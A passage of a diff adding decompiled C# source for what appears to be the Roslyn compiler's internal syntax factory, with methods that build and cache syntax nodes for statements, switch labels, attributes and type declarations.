GreenNode val = SyntaxNodeCache.TryGetNode(8804, attributeLists.Node, (GreenNode)(object)continueKeyword, (GreenNode)(object)semicolonToken, ref num); + if (val != null) + { + return (ContinueStatementSyntax)(object)val; + } + ContinueStatementSyntax continueStatementSyntax = new ContinueStatementSyntax(SyntaxKind.ContinueStatement, attributeLists.Node, continueKeyword, semicolonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)continueStatementSyntax, num); + } + return continueStatementSyntax; + } + + public static ReturnStatementSyntax ReturnStatement(SyntaxList attributeLists, SyntaxToken returnKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + return new ReturnStatementSyntax(SyntaxKind.ReturnStatement, attributeLists.Node, returnKeyword, expression, semicolonToken); + } + + public static ThrowStatementSyntax ThrowStatement(SyntaxList attributeLists, SyntaxToken throwKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + return new ThrowStatementSyntax(SyntaxKind.ThrowStatement, attributeLists.Node, throwKeyword, expression, semicolonToken); + } + + public static YieldStatementSyntax YieldStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + if (kind - 8806 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + return new YieldStatementSyntax(kind, attributeLists.Node, yieldKeyword, returnOrBreakKeyword, expression, semicolonToken); + } + + public static WhileStatementSyntax WhileStatement(SyntaxList attributeLists, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new WhileStatementSyntax(SyntaxKind.WhileStatement, attributeLists.Node, whileKeyword, openParenToken, condition, closeParenToken, statement); + } + + public static DoStatementSyntax DoStatement(SyntaxList attributeLists, SyntaxToken doKeyword, StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken) + { + return new DoStatementSyntax(SyntaxKind.DoStatement, attributeLists.Node, doKeyword, statement, whileKeyword, openParenToken, condition, closeParenToken, semicolonToken); + } + + public static ForStatementSyntax ForStatement(SyntaxList attributeLists, SyntaxToken forKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, SeparatedSyntaxList initializers, SyntaxToken firstSemicolonToken, ExpressionSyntax? condition, SyntaxToken secondSemicolonToken, SeparatedSyntaxList incrementors, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new ForStatementSyntax(SyntaxKind.ForStatement, attributeLists.Node, forKeyword, openParenToken, declaration, initializers.Node, firstSemicolonToken, condition, secondSemicolonToken, incrementors.Node, closeParenToken, statement); + } + + public static ForEachStatementSyntax ForEachStatement(SyntaxList attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new ForEachStatementSyntax(SyntaxKind.ForEachStatement, attributeLists.Node, awaitKeyword, forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement); + } + + public static ForEachVariableStatementSyntax ForEachVariableStatement(SyntaxList attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, ExpressionSyntax variable, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new ForEachVariableStatementSyntax(SyntaxKind.ForEachVariableStatement, attributeLists.Node, awaitKeyword, forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement); + } + + public static UsingStatementSyntax UsingStatement(SyntaxList attributeLists, SyntaxToken? awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, ExpressionSyntax? expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new UsingStatementSyntax(SyntaxKind.UsingStatement, attributeLists.Node, awaitKeyword, usingKeyword, openParenToken, declaration, expression, closeParenToken, statement); + } + + public static FixedStatementSyntax FixedStatement(SyntaxList attributeLists, SyntaxToken fixedKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new FixedStatementSyntax(SyntaxKind.FixedStatement, attributeLists.Node, fixedKeyword, openParenToken, declaration, closeParenToken, statement); + } + + public static CheckedStatementSyntax CheckedStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken keyword, BlockSyntax block) + { + if (kind - 8815 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, attributeLists.Node, (GreenNode)(object)keyword, (GreenNode)(object)block, ref num); + if (val != null) + { + return (CheckedStatementSyntax)(object)val; + } + CheckedStatementSyntax checkedStatementSyntax = new CheckedStatementSyntax(kind, attributeLists.Node, keyword, block); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)checkedStatementSyntax, num); + } + return checkedStatementSyntax; + } + + public static UnsafeStatementSyntax UnsafeStatement(SyntaxList attributeLists, SyntaxToken unsafeKeyword, BlockSyntax block) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8817, attributeLists.Node, (GreenNode)(object)unsafeKeyword, (GreenNode)(object)block, ref num); + if (val != null) + { + return (UnsafeStatementSyntax)(object)val; + } + UnsafeStatementSyntax unsafeStatementSyntax = new UnsafeStatementSyntax(SyntaxKind.UnsafeStatement, attributeLists.Node, unsafeKeyword, block); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)unsafeStatementSyntax, num); + } + return unsafeStatementSyntax; + } + + public static LockStatementSyntax LockStatement(SyntaxList attributeLists, SyntaxToken lockKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new LockStatementSyntax(SyntaxKind.LockStatement, attributeLists.Node, lockKeyword, openParenToken, expression, closeParenToken, statement); + } + + public static IfStatementSyntax IfStatement(SyntaxList attributeLists, SyntaxToken ifKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, ElseClauseSyntax? @else) + { + return new IfStatementSyntax(SyntaxKind.IfStatement, attributeLists.Node, ifKeyword, openParenToken, condition, closeParenToken, statement, @else); + } + + public static ElseClauseSyntax ElseClause(SyntaxToken elseKeyword, StatementSyntax statement) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8820, (GreenNode)(object)elseKeyword, (GreenNode)(object)statement, ref num); + if (val != null) + { + return (ElseClauseSyntax)(object)val; + } + ElseClauseSyntax elseClauseSyntax = new ElseClauseSyntax(SyntaxKind.ElseClause, elseKeyword, statement); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)elseClauseSyntax, num); + } + return elseClauseSyntax; + } + + public static SwitchStatementSyntax SwitchStatement(SyntaxList attributeLists, SyntaxToken switchKeyword, SyntaxToken? openParenToken, ExpressionSyntax expression, SyntaxToken? closeParenToken, SyntaxToken openBraceToken, SyntaxList sections, SyntaxToken closeBraceToken) + { + return new SwitchStatementSyntax(SyntaxKind.SwitchStatement, attributeLists.Node, switchKeyword, openParenToken, expression, closeParenToken, openBraceToken, sections.Node, closeBraceToken); + } + + public static SwitchSectionSyntax SwitchSection(SyntaxList labels, SyntaxList statements) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8822, labels.Node, statements.Node, ref num); + if (val != null) + { + return (SwitchSectionSyntax)(object)val; + } + SwitchSectionSyntax switchSectionSyntax = new SwitchSectionSyntax(SyntaxKind.SwitchSection, labels.Node, statements.Node); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)switchSectionSyntax, num); + } + return switchSectionSyntax; + } + + public static CasePatternSwitchLabelSyntax CasePatternSwitchLabel(SyntaxToken keyword, PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken colonToken) + { + return new CasePatternSwitchLabelSyntax(SyntaxKind.CasePatternSwitchLabel, keyword, pattern, whenClause, colonToken); + } + + public static CaseSwitchLabelSyntax CaseSwitchLabel(SyntaxToken keyword, ExpressionSyntax value, SyntaxToken colonToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8823, (GreenNode)(object)keyword, (GreenNode)(object)value, (GreenNode)(object)colonToken, ref num); + if (val != null) + { + return (CaseSwitchLabelSyntax)(object)val; + } + CaseSwitchLabelSyntax caseSwitchLabelSyntax = new CaseSwitchLabelSyntax(SyntaxKind.CaseSwitchLabel, keyword, value, colonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)caseSwitchLabelSyntax, num); + } + return caseSwitchLabelSyntax; + } + + public static DefaultSwitchLabelSyntax DefaultSwitchLabel(SyntaxToken keyword, SyntaxToken colonToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8824, (GreenNode)(object)keyword, (GreenNode)(object)colonToken, ref num); + if (val != null) + { + return (DefaultSwitchLabelSyntax)(object)val; + } + DefaultSwitchLabelSyntax defaultSwitchLabelSyntax = new DefaultSwitchLabelSyntax(SyntaxKind.DefaultSwitchLabel, keyword, colonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)defaultSwitchLabelSyntax, num); + } + return defaultSwitchLabelSyntax; + } + + public static SwitchExpressionSyntax SwitchExpression(ExpressionSyntax governingExpression, SyntaxToken switchKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList arms, SyntaxToken closeBraceToken) + { + return new SwitchExpressionSyntax(SyntaxKind.SwitchExpression, governingExpression, switchKeyword, openBraceToken, arms.Node, closeBraceToken); + } + + public static SwitchExpressionArmSyntax SwitchExpressionArm(PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken equalsGreaterThanToken, ExpressionSyntax expression) + { + return new SwitchExpressionArmSyntax(SyntaxKind.SwitchExpressionArm, pattern, whenClause, equalsGreaterThanToken, expression); + } + + public static TryStatementSyntax TryStatement(SyntaxList attributeLists, SyntaxToken tryKeyword, BlockSyntax block, SyntaxList catches, FinallyClauseSyntax? @finally) + { + return new TryStatementSyntax(SyntaxKind.TryStatement, attributeLists.Node, tryKeyword, block, catches.Node, @finally); + } + + public static CatchClauseSyntax CatchClause(SyntaxToken catchKeyword, CatchDeclarationSyntax? declaration, CatchFilterClauseSyntax? filter, BlockSyntax block) + { + return new CatchClauseSyntax(SyntaxKind.CatchClause, catchKeyword, declaration, filter, block); + } + + public static CatchDeclarationSyntax CatchDeclaration(SyntaxToken openParenToken, TypeSyntax type, SyntaxToken? identifier, SyntaxToken closeParenToken) + { + return new CatchDeclarationSyntax(SyntaxKind.CatchDeclaration, openParenToken, type, identifier, closeParenToken); + } + + public static CatchFilterClauseSyntax CatchFilterClause(SyntaxToken whenKeyword, SyntaxToken openParenToken, ExpressionSyntax filterExpression, SyntaxToken closeParenToken) + { + return new CatchFilterClauseSyntax(SyntaxKind.CatchFilterClause, whenKeyword, openParenToken, filterExpression, closeParenToken); + } + + public static FinallyClauseSyntax FinallyClause(SyntaxToken finallyKeyword, BlockSyntax block) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8829, (GreenNode)(object)finallyKeyword, (GreenNode)(object)block, ref num); + if (val != null) + { + return (FinallyClauseSyntax)(object)val; + } + FinallyClauseSyntax finallyClauseSyntax = new FinallyClauseSyntax(SyntaxKind.FinallyClause, finallyKeyword, block); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)finallyClauseSyntax, num); + } + return finallyClauseSyntax; + } + + public static CompilationUnitSyntax CompilationUnit(SyntaxList externs, SyntaxList usings, SyntaxList attributeLists, SyntaxList members, SyntaxToken endOfFileToken) + { + return new CompilationUnitSyntax(SyntaxKind.CompilationUnit, externs.Node, usings.Node, attributeLists.Node, members.Node, endOfFileToken); + } + + public static ExternAliasDirectiveSyntax ExternAliasDirective(SyntaxToken externKeyword, SyntaxToken aliasKeyword, SyntaxToken identifier, SyntaxToken semicolonToken) + { + return new ExternAliasDirectiveSyntax(SyntaxKind.ExternAliasDirective, externKeyword, aliasKeyword, identifier, semicolonToken); + } + + public static UsingDirectiveSyntax UsingDirective(SyntaxToken? globalKeyword, SyntaxToken usingKeyword, SyntaxToken? staticKeyword, SyntaxToken? unsafeKeyword, NameEqualsSyntax? alias, TypeSyntax namespaceOrType, SyntaxToken semicolonToken) + { + return new UsingDirectiveSyntax(SyntaxKind.UsingDirective, globalKeyword, usingKeyword, staticKeyword, unsafeKeyword, alias, namespaceOrType, semicolonToken); + } + + public static NamespaceDeclarationSyntax NamespaceDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken openBraceToken, SyntaxList externs, SyntaxList usings, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken? semicolonToken) + { + return new NamespaceDeclarationSyntax(SyntaxKind.NamespaceDeclaration, attributeLists.Node, modifiers.Node, namespaceKeyword, name, openBraceToken, externs.Node, usings.Node, members.Node, closeBraceToken, semicolonToken); + } + + public static FileScopedNamespaceDeclarationSyntax FileScopedNamespaceDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken semicolonToken, SyntaxList externs, SyntaxList usings, SyntaxList members) + { + return new FileScopedNamespaceDeclarationSyntax(SyntaxKind.FileScopedNamespaceDeclaration, attributeLists.Node, modifiers.Node, namespaceKeyword, name, semicolonToken, externs.Node, usings.Node, members.Node); + } + + public static AttributeListSyntax AttributeList(SyntaxToken openBracketToken, AttributeTargetSpecifierSyntax? target, SeparatedSyntaxList attributes, SyntaxToken closeBracketToken) + { + return new AttributeListSyntax(SyntaxKind.AttributeList, openBracketToken, target, attributes.Node, closeBracketToken); + } + + public static AttributeTargetSpecifierSyntax AttributeTargetSpecifier(SyntaxToken identifier, SyntaxToken colonToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8848, (GreenNode)(object)identifier, (GreenNode)(object)colonToken, ref num); + if (val != null) + { + return (AttributeTargetSpecifierSyntax)(object)val; + } + AttributeTargetSpecifierSyntax attributeTargetSpecifierSyntax = new AttributeTargetSpecifierSyntax(SyntaxKind.AttributeTargetSpecifier, identifier, colonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)attributeTargetSpecifierSyntax, num); + } + return attributeTargetSpecifierSyntax; + } + + public static AttributeSyntax Attribute(NameSyntax name, AttributeArgumentListSyntax? argumentList) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8849, (GreenNode)(object)name, (GreenNode)(object)argumentList, ref num); + if (val != null) + { + return (AttributeSyntax)(object)val; + } + AttributeSyntax attributeSyntax = new AttributeSyntax(SyntaxKind.Attribute, name, argumentList); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)attributeSyntax, num); + } + return attributeSyntax; + } + + public static AttributeArgumentListSyntax AttributeArgumentList(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8850, (GreenNode)(object)openParenToken, arguments.Node, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (AttributeArgumentListSyntax)(object)val; + } + AttributeArgumentListSyntax attributeArgumentListSyntax = new AttributeArgumentListSyntax(SyntaxKind.AttributeArgumentList, openParenToken, arguments.Node, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)attributeArgumentListSyntax, num); + } + return attributeArgumentListSyntax; + } + + public static AttributeArgumentSyntax AttributeArgument(NameEqualsSyntax? nameEquals, NameColonSyntax? nameColon, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8851, (GreenNode)(object)nameEquals, (GreenNode)(object)nameColon, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (AttributeArgumentSyntax)(object)val; + } + AttributeArgumentSyntax attributeArgumentSyntax = new AttributeArgumentSyntax(SyntaxKind.AttributeArgument, nameEquals, nameColon, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)attributeArgumentSyntax, num); + } + return attributeArgumentSyntax; + } + + public static NameEqualsSyntax NameEquals(IdentifierNameSyntax name, SyntaxToken equalsToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8852, (GreenNode)(object)name, (GreenNode)(object)equalsToken, ref num); + if (val != null) + { + return (NameEqualsSyntax)(object)val; + } + NameEqualsSyntax nameEqualsSyntax = new NameEqualsSyntax(SyntaxKind.NameEquals, name, equalsToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)nameEqualsSyntax, num); + } + return nameEqualsSyntax; + } + + public static TypeParameterListSyntax TypeParameterList(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8909, (GreenNode)(object)lessThanToken, parameters.Node, (GreenNode)(object)greaterThanToken, ref num); + if (val != null) + { + return (TypeParameterListSyntax)(object)val; + } + TypeParameterListSyntax typeParameterListSyntax = new TypeParameterListSyntax(SyntaxKind.TypeParameterList, lessThanToken, parameters.Node, greaterThanToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeParameterListSyntax, num); + } + return typeParameterListSyntax; + } + + public static TypeParameterSyntax TypeParameter(SyntaxList attributeLists, SyntaxToken? varianceKeyword, SyntaxToken identifier) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8910, attributeLists.Node, (GreenNode)(object)varianceKeyword, (GreenNode)(object)identifier, ref num); + if (val != null) + { + return (TypeParameterSyntax)(object)val; + } + TypeParameterSyntax typeParameterSyntax = new TypeParameterSyntax(SyntaxKind.TypeParameter, attributeLists.Node, varianceKeyword, identifier); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeParameterSyntax, num); + } + return typeParameterSyntax; + } + + public static ClassDeclarationSyntax ClassDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken? openBraceToken, SyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + return new ClassDeclarationSyntax(SyntaxKind.ClassDeclaration, attributeLists.Node, modifiers.Node, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses.Node, openBraceToken, members.Node, closeBraceToken, semicolonToken); + } + + public static StructDeclarationSyntax StructDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken? openBraceToken, SyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + return new StructDeclarationSyntax(SyntaxKind.StructDeclaration, attributeLists.Node, modifiers.Node, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses.Node, openBraceToken, members.Node, closeBraceToken, semicolonToken); + } + + public static InterfaceDeclarationSyntax InterfaceDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken? openBraceToken, SyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + return new InterfaceDeclarationSyntax(SyntaxKind.InterfaceDeclaration, attributeLists.Node, modifiers.Node, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses.Node, openBraceToken, members.Node, closeBraceToken, semicolonToken); + } + + public static RecordDeclarationSyntax RecordDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken? classOrStructKeyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken? openBraceToken, SyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + if (kind != SyntaxKind.RecordDeclaration && kind != SyntaxKind.RecordStructDeclaration) + { + throw new ArgumentException("kind"); + } + return new RecordDeclarationSyntax(kind, attributeLists.Node, modifiers.Node, keyword, classOrStructKeyword, identifier, typeParameterList, parameterList, baseList, constraintClauses.Node, openBraceToken, members.Node, closeBraceToken, semicolonToken); + } + + public static EnumDeclarationSyntax EnumDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken enumKeyword, SyntaxToken identifier, BaseListSyntax? baseList, SyntaxToken? openBraceToken, SeparatedSyntaxList members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + { + return new EnumDeclarationSyntax(SyntaxKind.EnumDeclaration, attributeLists.Node, modifiers.Node, enumKeyword, identifier, baseList, openBraceToken, members.Node, closeBraceToken, semicolonToken); + } + + public static DelegateDeclarationSyntax DelegateDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken delegateKeyword, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, SyntaxToken semicolonToken) + { + return new DelegateDeclarationSyntax(SyntaxKind.DelegateDeclaration, attributeLists.Node, modifiers.Node, delegateKeyword, returnType, identifier, typeParameterList, parameterList, constraintClauses.Node, semicolonToken); + } + + public static EnumMemberDeclarationSyntax EnumMemberDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken identifier, EqualsValueClauseSyntax? equalsValue) + { + return new EnumMemberDeclarationSyntax(SyntaxKind.EnumMemberDeclaration, attributeLists.Node, modifiers.Node, identifier, equalsValue); + } + + public static BaseListSyntax BaseList(SyntaxToken colonToken, SeparatedSyntaxList types) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8864, (GreenNode)(object)colonToken, types.Node, ref num); + if (val != null) + { + return (BaseListSyntax)(object)val; + } + BaseListSyntax baseListSyntax = new BaseListSyntax(SyntaxKind.BaseList, colonToken, types.Node); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)baseListSyntax, num); + } + return baseListSyntax; + } + + public static SimpleBaseTypeSyntax SimpleBaseType(TypeSyntax type) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8865, (GreenNode)(object)type, ref num); + if (val != null) + { + return (SimpleBaseTypeSyntax)(object)val; + } + SimpleBaseTypeSyntax simpleBaseTypeSyntax = new SimpleBaseTypeSyntax(SyntaxKind.SimpleBaseType, type); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)simpleBaseTypeSyntax, num); + } + return simpleBaseTypeSyntax; + } + + public static PrimaryConstructorBaseTypeSyntax PrimaryConstructorBaseType(TypeSyntax type, ArgumentListSyntax argumentList) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9065, (GreenNode)(object)type, (GreenNode)(object)argumentList, ref num); + if (val != null) + { + return (PrimaryConstructorBaseTypeSyntax)(object)val; + } + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax = new PrimaryConstructorBaseTypeSyntax(SyntaxKind.PrimaryConstructorBaseType, type, argumentList); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)primaryConstructorBaseTypeSyntax, num); + } + return primaryConstructorBaseTypeSyntax; + } + + public static TypeParameterConstraintClauseSyntax TypeParameterConstraintClause(SyntaxToken whereKeyword, IdentifierNameSyntax name, SyntaxToken colonToken, SeparatedSyntaxList constraints) + { + return new TypeParameterConstraintClauseSyntax(SyntaxKind.TypeParameterConstraintClause, whereKeyword, name, colonToken, constraints.Node); + } + + public static ConstructorConstraintSyntax ConstructorConstraint(SyntaxToken newKeyword, SyntaxToken openParenToken, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8867, (GreenNode)(object)newKeyword, (GreenNode)(object)openParenToken, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (ConstructorConstraintSyntax)(object)val; + } + ConstructorConstraintSyntax constructorConstraintSyntax = new ConstructorConstraintSyntax(SyntaxKind.ConstructorConstraint, newKeyword, openParenToken, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)constructorConstraintSyntax, num); + } + return constructorConstraintSyntax; + } + + public static ClassOrStructConstraintSyntax ClassOrStructConstraint(SyntaxKind kind, SyntaxToken classOrStructKeyword, SyntaxToken? questionToken) + { + if (kind - 8868 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)classOrStructKeyword, (GreenNode)(object)questionToken, ref num); + if (val != null) + { + return (ClassOrStructConstraintSyntax)(object)val; + } + ClassOrStructConstraintSyntax classOrStructConstraintSyntax = new ClassOrStructConstraintSyntax(kind, classOrStructKeyword, questionToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)classOrStructConstraintSyntax, num); + } + return classOrStructConstraintSyntax; + } + + public static TypeConstraintSyntax TypeConstraint(TypeSyntax type) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8870, (GreenNode)(object)type, ref num); + if (val != null) + { + return (TypeConstraintSyntax)(object)val; + } + TypeConstraintSyntax typeConstraintSyntax = new TypeConstraintSyntax(SyntaxKind.TypeConstraint, type); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeConstraintSyntax, num); + } + return typeConstraintSyntax; + } + + public static DefaultConstraintSyntax DefaultConstraint(SyntaxToken defaultKeyword) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9064, (GreenNode)(object)defaultKeyword, ref num); + if (val != null) + { + return (DefaultConstraintSyntax)(object)val; + } + DefaultConstraintSyntax defaultConstraintSyntax = new DefaultConstraintSyntax(SyntaxKind.DefaultConstraint, defaultKeyword); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)defaultConstraintSyntax, num); + } + return defaultConstraintSyntax; + } + + public static FieldDeclarationSyntax FieldDeclaration(SyntaxList attributeLists, SyntaxList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + return new FieldDeclarationSyntax(SyntaxKind.FieldDeclaration, attributeLists.Node, modifiers.Node, declaration, semicolonToken); + } + + public static EventFieldDeclarationSyntax EventFieldDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken eventKeyword, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + return new EventFieldDeclarationSyntax(SyntaxKind.EventFieldDeclaration, attributeLists.Node, modifiers.Node, eventKeyword, declaration, semicolonToken); + } + + public static ExplicitInterfaceSpecifierSyntax ExplicitInterfaceSpecifier(NameSyntax name, SyntaxToken dotToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8871, (GreenNode)(object)name, (GreenNode)(object)dotToken, ref num); + if (val != null) + { + return (ExplicitInterfaceSpecifierSyntax)(object)val; + } + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = new ExplicitInterfaceSpecifierSyntax(SyntaxKind.ExplicitInterfaceSpecifier, name, dotToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)explicitInterfaceSpecifierSyntax, num); + } + return explicitInterfaceSpecifierSyntax; + } + + public static MethodDeclarationSyntax MethodDeclaration(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new MethodDeclarationSyntax(SyntaxKind.MethodDeclaration, attributeLists.Node, modifiers.Node, returnType, explicitInterfaceSpecifier, identifier, typeParameterList, parameterList, constraintClauses.Node, body, expressionBody, semicolonToken); + } + + public static OperatorDeclarationSyntax OperatorDeclaration(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new OperatorDeclarationSyntax(SyntaxKind.OperatorDeclaration, attributeLists.Node, modifiers.Node, returnType, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, operatorToken, parameterList, body, expressionBody, semicolonToken); + } + + public static ConversionOperatorDeclarationSyntax ConversionOperatorDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken implicitOrExplicitKeyword, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new ConversionOperatorDeclarationSyntax(SyntaxKind.ConversionOperatorDeclaration, attributeLists.Node, modifiers.Node, implicitOrExplicitKeyword, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, type, parameterList, body, expressionBody, semicolonToken); + } + + public static ConstructorDeclarationSyntax ConstructorDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken identifier, ParameterListSyntax parameterList, ConstructorInitializerSyntax? initializer, 